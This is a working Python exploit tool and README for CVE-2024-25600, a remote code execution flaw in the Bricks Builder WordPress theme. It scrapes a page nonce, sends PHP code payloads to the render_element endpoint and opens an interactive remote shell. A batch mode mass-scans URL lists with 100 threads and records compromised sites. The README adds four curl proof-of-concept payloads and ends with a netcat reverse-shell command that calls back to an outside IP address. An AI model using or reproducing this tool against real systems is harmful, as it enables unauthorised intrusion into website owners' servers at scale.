Tool to exploit the CVE-2024-25600

import re
import warnings
import argparse
import requests
 
from rich.console import Console
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from bs4 import BeautifulSoup, MarkupResemblesLocatorWarning
from concurrent.futures import ThreadPoolExecutor, as_completed
 
 
warnings.filterwarnings("ignore", category=MarkupResemblesLocatorWarning, module="bs4")
warnings.filterwarnings(
    "ignore", category=requests.packages.urllib3.exceptions.InsecureRequestWarning
)
 
 
class Code:
    def __init__(self, url, payload_type, only_rce=False, verbose=True, pretty=False):
        self.url = url
        self.pretty = pretty
        self.verbose = verbose
        self.console = Console()
        self.only_rce = only_rce
        self.nonce = self.fetch_nonce()
        self.payload_type = payload_type
 
    def fetch_nonce(self):
        try:
            response = requests.get(self.url, verify=False, timeout=20)
            response.raise_for_status()
            soup = BeautifulSoup(response.text, "html.parser")
            script_tag = soup.find("script", id="bricks-scripts-js-extra")
            if script_tag:
                match = re.search(r'"nonce":"([a-f0-9]+)"', script_tag.string)
                if match:
                    return match.group(1)
        except Exception:
            pass
 
    def send_request(self, postId="1", command="whoami"):
        headers = {"Content-Type": "application/json"}
        payload_command = f'throw new Exception(`{command}` . "END");'
 
        base_element = {
            "postId": postId,
            "nonce": self.nonce,
        }
 
        query_settings = {
            "useQueryEditor": True,
            "queryEditor": payload_command,
        }
 
        payload_templates = {
            "carousel": {
                **base_element,
                "element": {
                    "name": "carousel",
                    "settings": {"type": "posts", "query": query_settings},
                },
            },
            "container": {
                **base_element,
                "element": {
                    "name": "container",
                    "settings": {"hasLoop": "true", "query": query_settings},
                },
            },
            "generic": {
                **base_element,
                "element": "1",
                "loopElement": {
                    "settings": {"query": query_settings},
                },
            },
            "code": {
                **base_element,
                "element": {
                    "name": "code",
                    "settings": {
                        "executeCode": "true",
                        "code": f"<?php {payload_command} ?>",
                    },
                },
            },
        }
 
        json_data = payload_templates.get(self.payload_type)
        if self.pretty:
            endpoint = f"{self.url}/wp-json/bricks/v1/render_element"
        else:
            endpoint = f"{self.url}/?rest_route=/bricks/v1/render_element"
 
        req = requests.post(
            endpoint,
            headers=headers,
            json=json_data,
            verify=False,
            timeout=20,
        )
        return req
 
    def process_response(self, response):
        if response and response.status_code == 200:
            try:
                json_response = response.json()
                html_content = json_response.get("data", {}).get("html", None)
            except ValueError:
                html_content = response.text
 
            if html_content:
                match = re.search(r"Exception: (.*?)END", html_content, re.DOTALL)
                if match:
                    extracted_text = match.group(1).strip()
                    if extracted_text == "":
                        return True, html_content, False
                    else:
                        return True, extracted_text, True
                else:
                    return True, html_content, False
        return False, None, False
 
    def interactive_shell(self):
        session = PromptSession(history=InMemoryHistory())
        self.custom_print("Shell is ready, please type your commands UwU", "!")
 
        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        response = self.send_request(command=cmd)
                        (
                            is_vuln,
                            response_content,
                            regex_success,
                        ) = self.process_response(response)
                        if is_vuln and regex_success:
                            print(response_content, "\n")
                        else:
                            self.custom_print(
                                "No valid response received or target not vulnerable.",
                                "-",
                            )
 
            except KeyboardInterrupt:
                break
 
    def check_vulnerability(self):
        try:
            response = self.send_request()
            is_vuln, content, regex_success = self.process_response(response)
 
            if is_vuln:
                if regex_success:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600. Command output: {content}",
                        "+",
                    )
                else:
                    self.custom_print(
                        f"{self.url} is vulnerable to CVE-2024-25600 with successful auth bypass, but RCE was not achieved.",
                        "!",
                    ) if not self.only_rce else None
                return True, content, regex_success
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable to CVE-2024-25600.", "-"
                ) if self.verbose else None
                return False, None, False
        except Exception as e:
            self.custom_print(
                f"Error checking vulnerability: {e}", "-"
            ) if self.verbose else None
            return False, None, False
 
    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )
 
 
def scan_url(url, payload_type, output_file=None, only_rce=False, pretty=False):
    code_instance = Code(
        url, payload_type=payload_type, only_rce=only_rce, verbose=False, pretty=pretty
    )
    if code_instance.nonce:
        is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
        if is_vuln and (not only_rce or is_rce_success):
            if output_file:
                with open(output_file, "a") as file:
                    file.write(f"{url}\n")
            return True
    return False
 
 
def main():
    parser = argparse.ArgumentParser(
        description="Check for CVE-2024-25600 vulnerability"
    )
    parser.add_argument(
        "--url", "-u", help="URL to fetch nonce from and check vulnerability"
    )
    parser.add_argument(
        "--list",
        "-l",
        help="Path to a file containing a list of URLs to check for vulnerability",
        default=None,
    )
    parser.add_argument(
        "--output",
        "-o",
        help="File to write vulnerable URLs to",
        default=None,
    )
 
    parser.add_argument(
        "--payload-type",
        "-p",
        choices=["carousel", "container", "generic", "code"],
        default="code",
        help="Type of payload to send (generic, code, carousel or container)",
    )
    parser.add_argument(
        "--only-rce",
        action="store_true",
        help="Only display and record URLs where RCE is confirmed",
    )
    parser.add_argument(
        "--pretty",
        action="store_true",
        help="Use pretty URLs (e.g., /wp-json/...) for requests",
    )
 
    args = parser.parse_args()
 
    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]
 
        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(
                        scan_url,
                        url,
                        args.payload_type,
                        args.output,
                        args.only_rce,
                        args.pretty,
                    ): url
                    for url in urls
                }
                for future in as_completed(future_to_url):
                    future_to_url[future]
                    try:
                        future.result()
                    except Exception:
                        pass
                    finally:
                        bar()
 
    elif args.url:
        code_instance = Code(args.url, args.payload_type, pretty=args.pretty)
        if code_instance.nonce:
            code_instance.custom_print(f"Nonce found: {code_instance.nonce}", "*")
            is_vuln, html_content, is_rce_success = code_instance.check_vulnerability()
            if is_vuln and is_rce_success:
                code_instance.interactive_shell()
            elif is_vuln and not args.only_rce:
                code_instance.custom_print(f"Debug:\n{html_content}", "!")
            else:
                code_instance.custom_print(f"No vulnerability found.", "-")
        else:
            code_instance.custom_print("Nonce not found.", "-")
    else:
        parser.print_help()
 
 
if __name__ == "__main__":
    main()

Installation ๐Ÿ› ๏ธ

  1. Clone this repository to your local machine ๐Ÿ–ฅ๏ธ usingย git clone.
  2. Navigate to the directory of the cloned repository.
  3. Install the required Python libraries usingย pip install -r requirements.txt.

Usage ๐Ÿ“–

Interactive Mode ๐ŸŽฎ

  1. Run the tool withย python exploit.py -u <URL>ย to start interactive mode.
  2. Follow the on-screen prompts to send commands to the target server.

Batch Mode ๐Ÿ“Š

  1. Prepare a text file with a list of target URLs.
  2. Run the tool withย python exploit.py -l <file_path>ย to scan and exploit the listed sites.
  3. Use theย --only-rceย flag to display and record only URLs where RCE is confirmed.

Payload Customization ๐Ÿงฐ

  • Use theย --payload-typeย option followed byย generic,ย carousel,ย container, orย codeย to specify the type of payload for the exploit.

    Example:ย python exploit.py -u <URL> --payload-type generic

Proof of Concept (PoC) ๐Ÿ“

The base PoCs provided by the disclosure are as follows:

First PoC:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "container",
    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Second PoC:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
  -H "Content-Type: application/json" \
  -d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "carousel",
    "settings": {
      "type": "posts",
      "query": {
        "useQueryEditor": true,
        "queryEditor": "throw new Exception(`id`);",
        "objectType": "post"
      }
    }
  }
}'

Third PoCย Source:

curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
  -H "Content-Type: application/json" \
  -d '{
  "postId": "1",  
  "nonce": "[NONCE]",
  "element": "1",
  "loopElement": {
    "settings": {
      "query": {
        "useQueryEditor": "",
        "queryEditor": "throw new Exception(`id`);"
      }
    }
  }
}'

Fourth PoCย (Effective on Older Versions):

curl -k -X POST "http://[HOST]/index.php?rest_route=/bricks/v1/render_element" \
-H "Content-Type: application/json" \
-d '{
  "postId": "1",
  "nonce": "[NONCE]",
  "element": {
    "name": "code",
    "settings": {
      "executeCode": "true",
      "code": "<?php throw new Exception(`id`);?>"
    }
  }
}'

Note: The fourth PoC is particularly effective on older versions of Bricks Builder (tested on version 1.8), where previous PoCs may not work.

Itโ€™s possible that additional payloads could yield better results. If my exploit or proof of concept does not work for you, I encourage you to experiment with alternative payloads to find a more effective solution.

Final result (shell gained)

  • Now you should estabilise the shell by using on the shell you obtained:
busybox nc 10.11.74.136 666 -e /bin/bash